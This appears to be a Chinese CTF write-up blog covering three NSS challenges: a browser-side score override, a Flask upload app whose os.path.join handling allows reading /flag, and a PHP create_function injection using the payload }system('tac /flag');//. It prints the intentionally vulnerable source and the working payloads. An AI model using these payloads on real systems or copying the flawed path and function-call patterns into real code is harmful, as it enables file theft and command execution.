NSS刷题 js前端修改 os.path.join漏洞

打算刷一遍nssweb题(任重道远)

前面很简单 都是签到题

这里主要记录一下没想到的题目

[GDOUCTF 2023]hate eat snake js前端修改

这里 是对js的处理

有弹窗 说明可能存在 alert

我们去看看js

这里进行了判断 如果 getScore>-0x1e9* 我们结合上面 我觉得是60

然后我们去看看定义

找到了定义分数的方法 我们可以通过前端定义

Snake.prototype.getScore = () => 100

来设定我们的分数为100

[NISACTF 2022]babyupload os.path.join漏洞

这里通过源代码可以获取备份文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

读取完毕后发现 不允许有后缀

并且读取文件是通过

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()

这里来进行的

这里主要是 os.path.join 存在一个漏洞

第一个以"/"开头的参数开始拼接,之前的参数全部丢弃,当有多个时,从最后一个开始

这个时候 我们如果输入 /flag 就会读取/flag 生成 uuid 那么这个时候的flag其实就是原本存储的文件

所以我们可以实现文件读取

[NISACTF 2022]level-up create_function代码注入

这里也挺有意思的 记录一下

通过前面的 MD5 sha1 绕过

我们可以到第五关

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

这种格式我们就可以想到可能是create_function

我们来了解一下

$a('',$b);

我们对 $b输入注入

}system('tac /flag');//

这样源代码是什么呢

create_function('',a)

会被构造为

function fT() {
    a;
  }

这个时候我们输入构造

function fT() {
    }system('tac /flag');//
  }

这个时候 就构造闭合 实现了注入

然后前面的正则是不允许字母数字下划线开头 所以我们构造 \

相关推荐
捕鲸叉4 分钟前
创建线程时传递参数给线程
开发语言·c++·算法
Devil枫5 分钟前
Vue 3 单元测试与E2E测试
前端·vue.js·单元测试
A charmer8 分钟前
【C++】vector 类深度解析:探索动态数组的奥秘
开发语言·c++·算法
Peter_chq11 分钟前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
尚梦40 分钟前
uni-app 封装刘海状态栏(适用小程序, h5, 头条小程序)
前端·小程序·uni-app
GIS程序媛—椰子1 小时前
【Vue 全家桶】6、vue-router 路由(更新中)
前端·vue.js
记录成长java2 小时前
ServletContext,Cookie,HttpSession的使用
java·开发语言·servlet
前端青山2 小时前
Node.js-增强 API 安全性和性能优化
开发语言·前端·javascript·性能优化·前端框架·node.js
睡觉谁叫~~~2 小时前
一文解秘Rust如何与Java互操作
java·开发语言·后端·rust
音徽编程2 小时前
Rust异步运行时框架tokio保姆级教程
开发语言·网络·rust